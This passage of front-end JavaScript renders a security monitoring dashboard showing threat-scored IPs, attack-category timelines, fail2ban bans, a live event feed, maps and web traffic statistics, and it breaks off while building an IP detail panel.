var theme = lsGet('urutau.theme');
|
||||
if (theme === 'light' || theme === 'dark') document.documentElement.setAttribute('data-theme', theme);
|
||||
|
||||
function t(key, n) {
|
||||
var s = D[lang][key] || D.en[key] || key;
|
||||
return n === undefined ? s : s.replace('{n}', n);
|
||||
}
|
||||
function nf(n) { return new Intl.NumberFormat(lang).format(n); }
|
||||
|
||||
var CHART_CATS = ['notfound', 'scanner', 'bruteforce', 'exploit', 'ssh-fail', 'ssh-probe', 'ban'];
|
||||
var state = {
|
||||
host: lsGet('urutau.host') || 'all', range: lsGet('urutau.range') || '24h',
|
||||
sort: 'score', order: 'desc', page: 1, per: 25, q: '', level: '', banned: false,
|
||||
hidden: {}, summary: null, ipsTotal: 0, live: [],
|
||||
tab: lsGet('urutau.tab') === 'traffic' ? 'traffic' : 'threats', domain: 'all', traffic: null
|
||||
};
|
||||
if (['1h', '24h', '7d'].indexOf(state.range) < 0) state.range = '24h';
|
||||
|
||||
// All dynamic text goes through textContent: log data is hostile.
|
||||
function el(tag, cls, text) {
|
||||
var e = document.createElement(tag);
|
||||
if (cls) e.className = cls;
|
||||
if (text !== undefined && text !== null) e.textContent = text;
|
||||
return e;
|
||||
}
|
||||
function svgEl(tag, attrs) {
|
||||
var e = document.createElementNS('http://www.w3.org/2000/svg', tag);
|
||||
for (var k in attrs) e.setAttribute(k, attrs[k]);
|
||||
return e;
|
||||
}
|
||||
function clear(n) { while (n.firstChild) n.removeChild(n.firstChild); }
|
||||
|
||||
function flag(cc) {
|
||||
if (!cc || cc.length !== 2) return '';
|
||||
return cc.toUpperCase().replace(/./g, function (c) { return String.fromCodePoint(127397 + c.charCodeAt(0)); });
|
||||
}
|
||||
var regionNames = null, regionLang = '';
|
||||
function countryName(cc) {
|
||||
try {
|
||||
if (!regionNames || regionLang !== lang) { regionNames = new Intl.DisplayNames([lang], { type: 'region' }); regionLang = lang; }
|
||||
return regionNames.of(cc.toUpperCase()) || cc;
|
||||
} catch (e) { return cc; }
|
||||
}
|
||||
function fmtBytes(n) {
|
||||
var u = ['B', 'KB', 'MB', 'GB', 'TB'], i = 0;
|
||||
while (n >= 1024 && i < u.length - 1) { n /= 1024; i++; }
|
||||
return new Intl.NumberFormat(lang, { maximumFractionDigits: n < 10 && i > 0 ? 1 : 0 }).format(n) + ' ' + u[i];
|
||||
}
|
||||
// Class names are built from whitelists only: peers send these values.
|
||||
var KNOWN_CATS = ['ok', 'notfound', 'scanner', 'exploit', 'bruteforce', 'ssh-fail', 'ssh-probe', 'ssh-ok', 'ban'];
|
||||
var KNOWN_STATES = ['following', 'waiting', 'backfill', 'error', 'disabled'];
|
||||
var KNOWN_LEVELS = ['hostile', 'suspicious', 'low'];
|
||||
function pick(list, v, fallback) { return list.indexOf(v) >= 0 ? v : fallback; }
|
||||
function ago(ts) {
|
||||
if (!ts) return t('never');
|
||||
var s = Math.max(0, Math.floor(Date.now() / 1000 - ts));
|
||||
if (s < 5) return t('ago.now');
|
||||
if (s < 60) return t('ago.s', s);
|
||||
if (s < 3600) return t('ago.m', Math.floor(s / 60));
|
||||
if (s < 86400) return t('ago.h', Math.floor(s / 3600));
|
||||
return t('ago.d', Math.floor(s / 86400));
|
||||
}
|
||||
function clock(ts) { return new Date(ts * 1000).toLocaleTimeString(lang, { hour: '2-digit', minute: '2-digit', second: '2-digit' }); }
|
||||
|
||||
function api(path) {
|
||||
return fetch(path, { credentials: 'same-origin', headers: { Accept: 'application/json' } }).then(function (r) {
|
||||
if (r.status === 401) { location.href = '/login'; throw new Error('unauthorized'); }
|
||||
if (!r.ok) throw new Error('HTTP ' + r.status);
|
||||
return r.json();
|
||||
});
|
||||
}
|
||||
function qs(extra) {
|
||||
var p = new URLSearchParams({ host: state.host, range: state.range });
|
||||
for (var k in extra) p.set(k, extra[k]);
|
||||
return p.toString();
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- i18n
|
||||
function applyI18n() {
|
||||
document.documentElement.lang = lang;
|
||||
document.querySelectorAll('[data-i18n]').forEach(function (n) { n.textContent = t(n.getAttribute('data-i18n')); });
|
||||
document.querySelectorAll('[data-i18n-ph]').forEach(function (n) { n.setAttribute('placeholder', t(n.getAttribute('data-i18n-ph'))); });
|
||||
document.querySelectorAll('[data-i18n-aria]').forEach(function (n) { n.setAttribute('aria-label', t(n.getAttribute('data-i18n-aria'))); });
|
||||
document.querySelectorAll('[data-i18n-title]').forEach(function (n) { n.setAttribute('title', t(n.getAttribute('data-i18n-title'))); });
|
||||
$('#lang').textContent = lang === 'en' ? 'PT' : 'EN';
|
||||
renderAll();
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- render
|
||||
function kpi(cls, value, label) {
|
||||
var d = el('div', 'panel kpi ' + cls);
|
||||
d.appendChild(el('div', 'v', nf(value)));
|
||||
d.appendChild(el('div', 'l', label));
|
||||
return d;
|
||||
}
|
||||
function renderKpis() {
|
||||
var s = state.summary, box = $('#kpis');
|
||||
clear(box);
|
||||
if (!s) return;
|
||||
var T = s.totals;
|
||||
box.appendChild(kpi('', T.requests, t('kpi.requests')));
|
||||
box.appendChild(kpi('', T.malicious, t('kpi.malicious')));
|
||||
box.appendChild(kpi(T.hostile_ips > 0 ? 'hot' : '', T.hostile_ips, t('kpi.hostile')));
|
||||
box.appendChild(kpi(T.suspicious_ips > 0 ? 'warn' : '', T.suspicious_ips, t('kpi.suspicious')));
|
||||
box.appendChild(kpi('', T.active_bans, t('kpi.bans')));
|
||||
box.appendChild(kpi('', T.unique_ips, t('kpi.ips')));
|
||||
$('#monitoring').textContent = T.monitoring ? t('kpi.monitoring', nf(T.monitoring)) : '';
|
||||
}
|
||||
|
||||
function renderLegend() {
|
||||
var box = $('#legend');
|
||||
clear(box);
|
||||
CHART_CATS.forEach(function (c) {
|
||||
var b = el('button');
|
||||
b.type = 'button';
|
||||
b.setAttribute('aria-pressed', state.hidden[c] ? 'false' : 'true');
|
||||
b.appendChild(el('span', 'sw b-' + c));
|
||||
b.appendChild(el('span', '', t('cat.' + c)));
|
||||
b.addEventListener('click', function () { state.hidden[c] = !state.hidden[c]; renderLegend(); drawChart(); });
|
||||
box.appendChild(b);
|
||||
});
|
||||
}
|
||||
|
||||
function niceMax(v) {
|
||||
var raw = Math.max(v, 4) / 4, p = Math.pow(10, Math.floor(Math.log10(raw))), m = raw / p;
|
||||
return (m <= 1 ? 1 : m <= 2 ? 2 : m <= 5 ? 5 : 10) * p * 4;
|
||||
}
|
||||
function tickLabel(ts) {
|
||||
var d = new Date(ts * 1000);
|
||||
if (state.range === '7d') return d.toLocaleDateString(lang, { month: 'short', day: 'numeric' });
|
||||
return d.toLocaleTimeString(lang, { hour: '2-digit', minute: '2-digit' });
|
||||
}
|
||||
|
||||
function drawChart() {
|
||||
var wrap = $('#chart');
|
||||
clear(wrap);
|
||||
var s = state.summary;
|
||||
if (!s) return;
|
||||
var tl = s.timeline, n = (tl.series.ok || []).length;
|
||||
var W = Math.max(280, wrap.clientWidth), H = 230, L = 38, R = 6, Tp = 8, B = 22;
|
||||
var cats = CHART_CATS.filter(function (c) { return !state.hidden[c]; });
|
||||
var tot = [], max = 0, i;
|
||||
for (i = 0; i < n; i++) {
|
||||
var sum = 0;
|
||||
cats.forEach(function (c) { sum += tl.series[c][i]; });
|
||||
tot.push(sum);
|
||||
if (sum > max) max = sum;
|
||||
}
|
||||
var top = niceMax(max), ph = H - Tp - B, bw = (W - L - R) / n;
|
||||
var svg = svgEl('svg', { viewBox: '0 0 ' + W + ' ' + H, role: 'img', 'aria-label': t('timeline.title') });
|
||||
for (i = 0; i <= 4; i++) {
|
||||
var y = Tp + ph - (ph * i / 4);
|
||||
svg.appendChild(svgEl('line', { x1: L, x2: W - R, y1: y, y2: y, 'class': 'gridline' }));
|
||||
var lab = svgEl('text', { x: L - 5, y: y + 3, 'text-anchor': 'end', 'class': 'axis' });
|
||||
lab.textContent = nf(Math.round(top * i / 4));
|
||||
svg.appendChild(lab);
|
||||
}
|
||||
var nt = W < 520 ? 3 : 5;
|
||||
for (i = 0; i < nt; i++) {
|
||||
var idx = Math.round((n - 1) * i / (nt - 1));
|
||||
var xl = svgEl('text', { x: L + bw * idx + bw / 2, y: H - 6, 'text-anchor': i === 0 ? 'start' : i === nt - 1 ? 'end' : 'middle', 'class': 'axis' });
|
||||
xl.textContent = tickLabel(tl.start + idx * tl.step);
|
||||
svg.appendChild(xl);
|
||||
}
|
||||
var tip = el('div', 'tip');
|
||||
tip.hidden = true;
|
||||
function showTip(ix, x) {
|
||||
clear(tip);
|
||||
tip.appendChild(el('strong', '', new Date((tl.start + ix * tl.step) * 1000).toLocaleString(lang, { month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' })));
|
||||
CHART_CATS.forEach(function (c) {
|
||||
var v = tl.series[c][ix];
|
||||
if (!v) return;
|
||||
var r = el('div');
|
||||
r.appendChild(el('span', '', t('cat.' + c)));
|
||||
r.appendChild(el('span', 'num', nf(v)));
|
||||
tip.appendChild(r);
|
||||
});
|
||||
tip.hidden = false;
|
||||
tip.style.left = Math.max(0, Math.min(x, W - 160)) + 'px';
|
||||
tip.style.top = '4px';
|
||||
}
|
||||
for (i = 0; i < n; i++) {
|
||||
var yb = Tp + ph;
|
||||
for (var k = 0; k < cats.length; k++) {
|
||||
var v = tl.series[cats[k]][i];
|
||||
if (!v) continue;
|
||||
var h = Math.max(1, v / top * ph);
|
||||
yb -= h;
|
||||
svg.appendChild(svgEl('rect', { x: L + bw * i + (bw > 3 ? 0.5 : 0), y: yb, width: Math.max(1, bw - (bw > 3 ? 1 : 0)), height: h, 'class': 'b-' + cats[k] }));
|
||||
}
|
||||
}
|
||||
(function (tl2) {
|
||||
for (var j = 0; j < n; j++) {
|
||||
(function (j) {
|
||||
var r = svgEl('rect', { x: L + bw * j, y: Tp, width: bw, height: ph, 'class': 'hover-col' });
|
||||
r.addEventListener('mouseenter', function () { showTip(j, L + bw * j + 14); });
|
||||
r.addEventListener('click', function () { showTip(j, L + bw * j + 14); });
|
||||
svg.appendChild(r);
|
||||
})(j);
|
||||
}
|
||||
})(tl);
|
||||
svg.addEventListener('mouseleave', function () { tip.hidden = true; });
|
||||
wrap.appendChild(svg);
|
||||
wrap.appendChild(tip);
|
||||
if (max === 0) {
|
||||
var e = svgEl('text', { x: W / 2, y: H / 2, 'text-anchor': 'middle', 'class': 'axis' });
|
||||
e.textContent = t('timeline.empty');
|
||||
svg.appendChild(e);
|
||||
}
|
||||
}
|
||||
|
||||
function levelBadge(l) { l = pick(KNOWN_LEVELS, l, 'low'); return el('span', 'badge lv-' + l, t('level.' + l)); }
|
||||
|
||||
function renderIPs(items) {
|
||||
var tb = $('#ips tbody');
|
||||
clear(tb);
|
||||
if (!items.length) {
|
||||
var tr0 = el('tr'), td0 = el('td', 'empty', t('ips.empty'));
|
||||
td0.colSpan = 7;
|
||||
tr0.appendChild(td0);
|
||||
tb.appendChild(tr0);
|
||||
}
|
||||
items.forEach(function (x) {
|
||||
var tr = el('tr', 'row');
|
||||
tr.tabIndex = 0;
|
||||
tr.setAttribute('role', 'button');
|
||||
function cell(label, node) { var td = el('td'); td.setAttribute('data-label', label); td.appendChild(node); tr.appendChild(td); }
|
||||
var ipc = el('span');
|
||||
ipc.appendChild(el('span', 'mono', x.ip));
|
||||
if (state.summary && state.summary.hosts.length > 1) ipc.appendChild(el('small', '', (x.hosts || []).join(', ')));
|
||||
cell(t('col.ip'), ipc);
|
||||
cell(t('col.score'), el('span', 'num', String(x.score)));
|
||||
cell(t('col.level'), levelBadge(x.level));
|
||||
var chips = el('span');
|
||||
var kinds = Object.keys(x.counts).filter(function (c) { return c !== 'ok' && c !== 'ssh-ok' && KNOWN_CATS.indexOf(c) >= 0; })
|
||||
.sort(function (a, b) { return x.counts[b] - x.counts[a]; });
|
||||
kinds.slice(0, 2).forEach(function (c) { chips.appendChild(el('span', 'chip', t('cat.' + c) + ' ' + nf(x.counts[c]))); });
|
||||
if (kinds.length > 2) chips.appendChild(el('span', 'chip', '+' + (kinds.length - 2)));
|
||||
cell(t('col.cats'), chips);
|
||||
var org = el('span', 'origin');
|
||||
if (x.cc) org.textContent = flag(x.cc) + ' ' + (x.city ? x.city + ', ' : '') + (x.country || countryName(x.cc));
|
||||
else org.textContent = '-';
|
||||
// one line, ellipsis; the rest on hover
|
||||
var tip = [x.asn ? 'AS' + x.asn + (x.as_org ? ' ' + x.as_org : '') : '', x.rdns || ''].filter(Boolean);
|
||||
if (x.cc) tip.unshift(org.textContent);
|
||||
if (tip.length) org.title = tip.join('\n');
|
||||
cell(t('col.origin'), org);
|
||||
cell(t('col.last'), el('span', '', ago(x.last)));
|
||||
cell(t('col.banned'), x.banned ? el('span', 'banned', (x.jails || []).join(', ') || t('yes')) : el('span', '', '-'));
|
||||
tr.addEventListener('click', function () { openDetail(x.ip); });
|
||||
tr.addEventListener('keydown', function (ev) { if (ev.key === 'Enter' || ev.key === ' ') { ev.preventDefault(); openDetail(x.ip); } });
|
||||
tb.appendChild(tr);
|
||||
});
|
||||
$('#count').textContent = t('pager.count', nf(state.ipsTotal));
|
||||
$('#prev').disabled = state.page <= 1;
|
||||
$('#next').disabled = state.page * state.per >= state.ipsTotal;
|
||||
}
|
||||
|
||||
function renderTop(id, rows, mono) {
|
||||
var box = $(id);
|
||||
clear(box);
|
||||
if (!rows || !rows.length) { box.appendChild(el('div', 'empty', t('top.empty'))); return; }
|
||||
var max = rows[0].n || 1;
|
||||
rows.slice(0, 10).forEach(function (r) {
|
||||
var d = el('div', 'bar-row');
|
||||
d.appendChild(el('span', 'k' + (mono ? ' mono' : ''), r.key));
|
||||
d.appendChild(el('span', 'n', nf(r.n)));
|
||||
if (r.label) d.appendChild(el('span', 'sub', r.label));
|
||||
var bar = el('div', 'bar'), i = el('i');
|
||||
i.style.width = Math.max(2, r.n / max * 100) + '%';
|
||||
bar.appendChild(i);
|
||||
d.appendChild(bar);
|
||||
box.appendChild(d);
|
||||
});
|
||||
}
|
||||
|
||||
function eventText(e) {
|
||||
if (e.source === 'traefik') return (e.method || '') + ' ' + (e.domain || '') + (e.path || '') + (e.forged ? ' [' + t('feed.forged') + ']' : '');
|
||||
if (e.source === 'ssh') return e.user ? 'ssh user ' + e.user : 'ssh';
|
||||
if (e.source === 'fail2ban') return 'fail2ban [' + (e.jail || '') + ']';
|
||||
return '';
|
||||
}
|
||||
function renderFeed() {
|
||||
var box = $('#feed');
|
||||
clear(box);
|
||||
var seen = {}, list = [];
|
||||
var rec = state.summary ? state.summary.recent || [] : [];
|
||||
state.live.concat(rec).forEach(function (e) {
|
||||
if (state.host !== 'all' && e.host !== state.host) return;
|
||||
var key = e.t + '|' + e.ip + '|' + e.cat + '|' + (e.path || e.user || e.jail || '');
|
||||
if (seen[key]) return;
|
||||
seen[key] = 1;
|
||||
list.push(e);
|
||||
});
|
||||
list.sort(function (a, b) { return b.t - a.t; });
|
||||
list = list.slice(0, 100);
|
||||
if (!list.length) { box.appendChild(el('li', 'empty', t('feed.empty'))); return; }
|
||||
list.forEach(function (e) {
|
||||
var li = el('li');
|
||||
li.appendChild(el('span', 't', clock(e.t)));
|
||||
if (e.forged) li.title = t('feed.forged');
|
||||
var ecat = pick(KNOWN_CATS, e.cat, 'ok');
|
||||
li.appendChild(el('span', 'cat b-' + ecat, e.unban ? t('feed.unban') : t('cat.' + ecat)));
|
||||
var b = el('button', 'linkish mono', e.ip);
|
||||
b.type = 'button';
|
||||
b.addEventListener('click', function () { openDetail(e.ip); });
|
||||
li.appendChild(b);
|
||||
if (e.cc) b.textContent = flag(e.cc) + ' ' + e.ip;
|
||||
li.appendChild(el('span', 'what', (e.host ? '[' + e.host + '] ' : '') + eventText(e)));
|
||||
box.appendChild(li);
|
||||
});
|
||||
}
|
||||
|
||||
function renderHosts() {
|
||||
var s = state.summary, box = $('#hosts'), sel = $('#host');
|
||||
if (!s) return;
|
||||
clear(box);
|
||||
(s.hosts || []).forEach(function (h) {
|
||||
var c = el('div', 'host');
|
||||
var hd = el('h3');
|
||||
hd.appendChild(el('span', 'dot ' + (h.online ? 'on' : 'off')));
|
||||
hd.appendChild(el('span', '', h.name));
|
||||
c.appendChild(hd);
|
||||
c.appendChild(el('div', 'meta', h.online ? t('host.online') + (h.version ? ' · ' + h.version : '') : t('host.offline') + (h.error ? ' · ' + h.error : '')));
|
||||
var dl = el('dl');
|
||||
[['host.requests', h.requests], ['host.malicious', h.malicious], ['host.hostile', h.hostile_ips], ['host.bans', h.active_bans]].forEach(function (p) {
|
||||
dl.appendChild(el('dt', '', t(p[0])));
|
||||
dl.appendChild(el('dd', '', nf(p[1] || 0)));
|
||||
});
|
||||
if (h.latency_ms) { dl.appendChild(el('dt', '', t('host.latency'))); dl.appendChild(el('dd', '', h.latency_ms + ' ms')); }
|
||||
c.appendChild(dl);
|
||||
box.appendChild(c);
|
||||
});
|
||||
var want = (s.hosts || []).map(function (h) { return h.name; }).join('|');
|
||||
if (sel.getAttribute('data-hosts') !== want + '|' + lang) {
|
||||
clear(sel);
|
||||
var o = el('option', '', t('host.all'));
|
||||
o.value = 'all';
|
||||
sel.appendChild(o);
|
||||
(s.hosts || []).forEach(function (h) { var op = el('option', '', h.name); op.value = h.name; sel.appendChild(op); });
|
||||
sel.setAttribute('data-hosts', want + '|' + lang);
|
||||
}
|
||||
sel.value = state.host;
|
||||
sel.hidden = (s.hosts || []).length < 2;
|
||||
|
||||
var tb = $('#sources tbody');
|
||||
clear(tb);
|
||||
(s.sources || []).forEach(function (r) {
|
||||
var tr = el('tr');
|
||||
function cell(label, text, cls) { var td = el('td'); td.setAttribute('data-label', label); td.appendChild(el('span', cls || '', text)); tr.appendChild(td); }
|
||||
cell(t('col.host'), r.host || '');
|
||||
cell(t('col.source'), r.name);
|
||||
var rs = pick(KNOWN_STATES, r.state, 'error');
|
||||
cell(t('col.state'), t('state.' + rs) + (r.error ? ' (' + r.error + ')' : ''), 'st-' + rs);
|
||||
cell(t('col.lines'), nf(r.lines), 'num');
|
||||
cell(t('col.malformed'), nf(r.malformed), 'num');
|
||||
cell(t('col.lastEvent'), ago(r.last_event));
|
||||
tb.appendChild(tr);
|
||||
});
|
||||
$('#ver').textContent = s.version ? 'v' + s.version : '';
|
||||
$('#attrib').textContent = s.attribution || '';
|
||||
}
|
||||
|
||||
function renderAll() {
|
||||
var s = state.summary;
|
||||
renderKpis(); renderLegend(); drawChart(); renderHosts(); renderFeed();
|
||||
if (s) {
|
||||
renderTop('#top-paths', s.top_paths, true);
|
||||
renderTop('#top-domains', s.top_domains, true);
|
||||
renderTop('#top-uas', s.top_uas, false);
|
||||
renderTop('#top-users', s.top_users, true);
|
||||
renderMap('#map-threats', '#maplist-threats', s.countries, false);
|
||||
}
|
||||
if (state.traffic) renderTraffic();
|
||||
if (state.ipItems) renderIPs(state.ipItems);
|
||||
document.querySelectorAll('#range button').forEach(function (b) { b.setAttribute('aria-pressed', b.getAttribute('data-range') === state.range ? 'true' : 'false'); });
|
||||
updateBlocklistLink();
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- data
|
||||
var inflight = false;
|
||||
function refresh() {
|
||||
if (inflight) return;
|
||||
inflight = true;
|
||||
var jobs = [api('/api/v1/summary?' + qs({}))];
|
||||
if (state.tab === 'traffic') {
|
||||
jobs.push(api('/api/v1/traffic?' + qs({ domain: state.domain })));
|
||||
} else {
|
||||
jobs.push(api('/api/v1/ips?' + qs({ sort: state.sort, order: state.order, page: state.page, per: state.per, q: state.q, level: state.level, banned: state.banned ? '1' : '0' })));
|
||||
}
|
||||
Promise.all(jobs).then(function (r) {
|
||||
state.summary = r[0];
|
||||
if (state.tab === 'traffic') state.traffic = r[1];
|
||||
else { state.ipItems = r[1].items; state.ipsTotal = r[1].total; }
|
||||
$('#err').hidden = true;
|
||||
renderAll();
|
||||
}).catch(function (e) {
|
||||
if (String(e.message) === 'unauthorized') return;
|
||||
var b = $('#err');
|
||||
b.textContent = t('error.load');
|
||||
b.hidden = false;
|
||||
}).then(function () { inflight = false; });
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- map
|
||||
var world = window.URUTAU_WORLD;
|
||||
function renderMap(mapSel, listSel, rows, good) {
|
||||
var box = $(mapSel), list = $(listSel);
|
||||
clear(box); clear(list);
|
||||
box.className = 'map' + (good ? ' good' : '');
|
||||
rows = rows || [];
|
||||
var by = {}, max = 1;
|
||||
rows.forEach(function (r) { by[r.key] = r.n; if (r.n > max) max = r.n; });
|
||||
if (world) {
|
||||
var svg = svgEl('svg', { viewBox: '0 0 ' + world.w + ' ' + world.h, role: 'img', 'aria-label': t(good ? 'map.visitors' : 'map.attacks') });
|
||||
Object.keys(world.paths).forEach(function (cc) {
|
||||
var p = svgEl('path', { d: world.paths[cc], 'class': 'mapc' + (by[cc] ? ' hit' : '') });
|
||||
if (by[cc]) {
|
||||
p.setAttribute('fill-opacity', String(0.25 + 0.75 * Math.sqrt(by[cc] / max)));
|
||||
var ti = svgEl('title', {});
|
||||
ti.textContent = flag(cc) + ' ' + countryName(cc) + ': ' + nf(by[cc]);
|
||||
p.appendChild(ti);
|
||||
}
|
||||
svg.appendChild(p);
|
||||
});
|
||||
box.appendChild(svg);
|
||||
}
|
||||
if (!rows.length) { list.appendChild(el('div', 'empty', t('top.empty'))); return; }
|
||||
rows.slice(0, 8).forEach(function (r) {
|
||||
var d = el('div', 'bar-row');
|
||||
d.appendChild(el('span', 'k', flag(r.key) + ' ' + countryName(r.key)));
|
||||
d.appendChild(el('span', 'n', nf(r.n)));
|
||||
var bar = el('div', 'bar'), i = el('i');
|
||||
i.style.width = Math.max(2, r.n / max * 100) + '%';
|
||||
bar.appendChild(i);
|
||||
d.appendChild(bar);
|
||||
list.appendChild(d);
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- traffic
|
||||
function renderTraffic() {
|
||||
var d = state.traffic;
|
||||
if (!d) return;
|
||||
var box = $('#tkpis');
|
||||
clear(box);
|
||||
box.appendChild(kpi('', d.requests, t('traffic.requests')));
|
||||
box.appendChild(kpi('', d.pages, t('traffic.pages')));
|
||||
box.appendChild(kpi('', d.visitors, t('traffic.visitors')));
|
||||
var b = el('div', 'panel kpi');
|
||||
b.appendChild(el('div', 'v', fmtBytes(d.bytes)));
|
||||
b.appendChild(el('div', 'l', t('traffic.bytes')));
|
||||
box.appendChild(b);
|
||||
var l = el('div', 'panel kpi');
|
||||
l.appendChild(el('div', 'v', Math.round(d.p50_ms) + ' / ' + Math.round(d.p95_ms) + ' ms'));
|
||||
l.appendChild(el('div', 'l', t('traffic.latency')));
|
||||
box.appendChild(l);
|
||||
box.appendChild(kpi('', d.bots, t('traffic.bots')));
|
||||
|
||||
var sel = $('#domain'), want = (d.domains || []).map(function (x) { return x.key; }).join('|') + '|' + lang;
|
||||
if (sel.getAttribute('data-doms') !== want) {
|
||||
clear(sel);
|
||||
var o = el('option', '', t('traffic.allDomains'));
|
||||
o.value = 'all';
|
||||
sel.appendChild(o);
|
||||
(d.domains || []).forEach(function (x) { var op = el('option', '', x.key + ' (' + nf(x.n) + ')'); op.value = x.key; sel.appendChild(op); });
|
||||
sel.setAttribute('data-doms', want);
|
||||
}
|
||||
sel.value = state.domain;
|
||||
|
||||
drawTrafficChart();
|
||||
renderMap('#map-traffic', '#maplist-traffic', d.countries, true);
|
||||
renderTop('#t-pages', d.top_pages, true);
|
||||
renderTop('#t-refs', d.referrers, true);
|
||||
renderTop('#t-cities', d.cities, false);
|
||||
renderTop('#t-browsers', d.browsers, false);
|
||||
renderTop('#t-oses', d.oses, false);
|
||||
renderTop('#t-devices', (d.devices || []).map(function (x) { return { key: t('device.' + (['desktop', 'mobile', 'tablet', 'bot', 'tool'].indexOf(x.key) >= 0 ? x.key : 'unknown')), n: x.n }; }), false);
|
||||
renderTop('#t-bots', d.bot_names, false);
|
||||
renderTop('#t-status', ['2xx', '3xx', '4xx', '5xx'].map(function (k, i) { return { key: k, n: d.status[i] }; }).filter(function (x) { return x.n > 0; }), true);
|
||||
}
|
||||
|
||||
function drawTrafficChart() {
|
||||
var wrap = $('#tchart');
|
||||
clear(wrap);
|
||||
var d = state.traffic;
|
||||
if (!d) return;
|
||||
var tl = d.timeline, n = tl.req.length, max = 0, i;
|
||||
for (i = 0; i < n; i++) if (tl.req[i] > max) max = tl.req[i];
|
||||
var W = Math.max(280, wrap.clientWidth), H = 230, L = 38, R = 6, Tp = 8, B = 22;
|
||||
var top = niceMax(max), ph = H - Tp - B, bw = (W - L - R) / n;
|
||||
var svg = svgEl('svg', { viewBox: '0 0 ' + W + ' ' + H, role: 'img', 'aria-label': t('traffic.timeline') });
|
||||
for (i = 0; i <= 4; i++) {
|
||||
var y = Tp + ph - (ph * i / 4);
|
||||
svg.appendChild(svgEl('line', { x1: L, x2: W - R, y1: y, y2: y, 'class': 'gridline' }));
|
||||
var lab = svgEl('text', { x: L - 5, y: y + 3, 'text-anchor': 'end', 'class': 'axis' });
|
||||
lab.textContent = nf(Math.round(top * i / 4));
|
||||
svg.appendChild(lab);
|
||||
}
|
||||
var nt = W < 520 ? 3 : 5;
|
||||
for (i = 0; i < nt; i++) {
|
||||
var idx = Math.round((n - 1) * i / (nt - 1));
|
||||
var xl = svgEl('text', { x: L + bw * idx + bw / 2, y: H - 6, 'text-anchor': i === 0 ? 'start' : i === nt - 1 ? 'end' : 'middle', 'class': 'axis' });
|
||||
xl.textContent = tickLabel(tl.start + idx * tl.step);
|
||||
svg.appendChild(xl);
|
||||
}
|
||||
var tip = el('div', 'tip');
|
||||
tip.hidden = true;
|
||||
for (i = 0; i < n; i++) {
|
||||
var x = L + bw * i + (bw > 3 ? 0.5 : 0), w = Math.max(1, bw - (bw > 3 ? 1 : 0));
|
||||
[['req', 'b-treq'], ['pages', 'b-tpages']].forEach(function (sr) {
|
||||
var v = tl[sr[0]][i];
|
||||
if (!v) return;
|
||||
var h = Math.max(1, v / top * ph);
|
||||
svg.appendChild(svgEl('rect', { x: x, y: Tp + ph - h, width: w, height: h, 'class': sr[1] }));
|
||||
});
|
||||
(function (i) {
|
||||
var r = svgEl('rect', { x: L + bw * i, y: Tp, width: bw, height: ph, 'class': 'hover-col' });
|
||||
r.addEventListener('mouseenter', function () {
|
||||
clear(tip);
|
||||
tip.appendChild(el('strong', '', new Date((tl.start + i * tl.step) * 1000).toLocaleString(lang, { month: 'short', day: 'numeric', hour: '2-digit', minute: '2-digit' })));
|
||||
[['traffic.requests', tl.req[i]], ['traffic.pages', tl.pages[i]]].forEach(function (p) {
|
||||
var rr = el('div');
|
||||
rr.appendChild(el('span', '', t(p[0])));
|
||||
rr.appendChild(el('span', 'num', nf(p[1])));
|
||||
tip.appendChild(rr);
|
||||
});
|
||||
tip.hidden = false;
|
||||
tip.style.left = Math.max(0, Math.min(L + bw * i + 14, W - 160)) + 'px';
|
||||
tip.style.top = '4px';
|
||||
});
|
||||
svg.appendChild(r);
|
||||
})(i);
|
||||
}
|
||||
svg.addEventListener('mouseleave', function () { tip.hidden = true; });
|
||||
wrap.appendChild(svg);
|
||||
wrap.appendChild(tip);
|
||||
}
|
||||
|
||||
function setTab(tab) {
|
||||
state.tab = tab;
|
||||
lsSet('urutau.tab', tab);
|
||||
$('#tab-threats').hidden = tab !== 'threats';
|
||||
$('#tab-traffic').hidden = tab !== 'traffic';
|
||||
$('#domain').hidden = tab !== 'traffic';
|
||||
document.querySelectorAll('.tabs button[role=tab]').forEach(function (b) { b.setAttribute('aria-selected', b.getAttribute('data-tab') === tab ? 'true' : 'false'); });
|
||||
refresh();
|
||||
}
|
||||
|
||||
function connectLive() {
|
||||
if (!window.EventSource) return;
|
||||
var es = new EventSource('/api/v1/events/stream');
|
||||
function setLive(on) {
|
||||
$('#live-dot').className = 'dot' + (on ? ' on' : '');
|
||||
$('#live-text').textContent = t(on ? 'live.on' : 'live.off');
|
||||
$('#live-text').setAttribute('data-i18n', on ? 'live.on' : 'live.off');
|
||||
}
|
||||
es.onopen = function () { setLive(true); };
|
||||
es.onerror = function () { setLive(false); };
|
||||
es.addEventListener('ev', function (m) {
|
||||
try {
|
||||
var e = JSON.parse(m.data);
|
||||
state.live.unshift(e);
|
||||
if (state.live.length > 100) state.live.length = 100;
|
||||
renderFeed();
|
||||
} catch (x) { /* ignore malformed frame */ }
|
||||
});
|
||||
}
|
||||
|
||||
// ---------------------------------------------------------------- detail
|
||||
function row(dl, label, node) {
|
||||
dl.appendChild(el('dt', '', label));
|
||||
var dd = el('dd');
|
||||
dd.appendChild(node);
|
||||
dl.appendChild(dd);
|
||||
}
|
||||
function listOf(items, mono) {
|
||||
if (!items || !items.length) return el('span', '', '-');
|
||||
var ul = el('ul');
|
||||
items.forEach(function (i) { ul.appendChild(el('li', mono ? 'mono' : '', i)); });
|
||||
return ul;
|
||||
}
|
||||
function closeDetail() { $('#detail').hidden = true; $('#scrim').hidden = true; }
|
||||
function openDetail(ip) {
|
||||
var box = $('#detail');
|
||||
clear(box);
|
||||
box.hidden = false;
|
||||
$('#scrim').hidden = false;
|
||||
api('/api/v1/ip/' + encodeURIComponent(ip)).then(function (d) {
|
||||
clear(box);
|
||||
var top = el('div', 'toolbar');
|
||||
var h = el('h2', 'mono', d.ip);
|
||||
h.style.marginRight = 'auto';
|
||||
top.appendChild(h);
|
||||
var cp = el('button', 'btn', t('detail.copyIp'));
|
||||
cp.type = 'button';
|
||||
cp.addEventListener('click', function () { copyText(d.ip); });
|
||||
var cl = el('button', 'btn', t('detail.close'));
|
||||
cl.type = 'button';
|
||||
cl.addEventListener('click', closeDetail);
|
||||
top.appendChild(cp); top.appendChild(cl);
|
||||
box.appendChild(top);
|
||||
var dl = el('dl');
|
||||
